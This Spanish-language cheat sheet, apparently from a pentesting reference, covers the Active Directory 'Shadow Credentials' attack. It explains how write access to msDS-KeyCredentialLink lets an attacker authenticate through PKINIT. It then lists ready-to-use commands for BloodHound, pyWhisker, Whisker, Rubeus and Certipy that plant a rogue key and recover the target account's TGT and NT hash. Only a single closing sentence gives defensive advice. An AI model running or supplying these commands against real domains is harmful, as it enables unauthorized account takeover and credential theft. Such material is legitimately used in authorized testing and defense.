Qué es
Shadow Credentials abusa del permiso de escritura sobre el atributo msDS-KeyCredentialLink de una cuenta. El atacante registra su propia clave y se autentica como esa cuenta por Kerberos PKINIT. Nunca necesita ni cambia la contraseña real.
Cómo funciona
Windows deja que una cuenta guarde una clave pública en el atributo msDS-KeyCredentialLink. Cuando la cuenta se autentica, usa PKINIT: presenta un certificado derivado de esa clave en vez de la contraseña. El KDC valida el certificado contra la clave guardada y emite un TGT. No comprueba quién registró la clave. Un atacante con permiso de escritura sobre el atributo añade su propia clave junto a la legítima. El KDC no distingue una clave de la otra. El atacante usa su clave privada para pedir un TGT como la cuenta objetivo. La contraseña real sigue funcionando y ningún evento de reinicio se dispara. Rotar la contraseña no invalida la clave: sigue válida hasta que alguien la borra del atributo.
Comandos
Recolectar el dominio y buscar aristas GenericWrite o GenericAll hacia el objetivo:
bloodhound-python -d <DOMAIN> -u <USER> -p <PASSWORD> -c All -ns <IP>Añadir la shadow credential desde Linux con pyWhisker. Genera el par de claves y devuelve un certificado PFX con su contraseña:
pywhisker -d <DOMAIN> -u <USER> -p <PASSWORD> --target <TARGET> --action add --dc-ip <IP>Añadir la shadow credential desde Windows con Whisker:
Whisker.exe add /target:<TARGET> /domain:<DOMAIN> /dc:<HOST>Autenticarse por PKINIT con Rubeus y recuperar el hash NT de la cuenta:
Rubeus.exe asktgt /user:<TARGET> /certificate:<FILE> /password:<PASSWORD> /domain:<DOMAIN> /dc:<HOST> /getcredentials /nowrapEjecutar toda la cadena en un paso con Certipy. Añade la clave, se autentica y recupera el hash:
certipy shadow auto -u <USER>@<DOMAIN> -p <PASSWORD> -account <TARGET> -dc-ip <IP>Cómo defenderse
Quita el permiso de escritura sobre msDS-KeyCredentialLink de las cuentas que no lo necesitan: sin ese permiso nadie registra una clave ajena.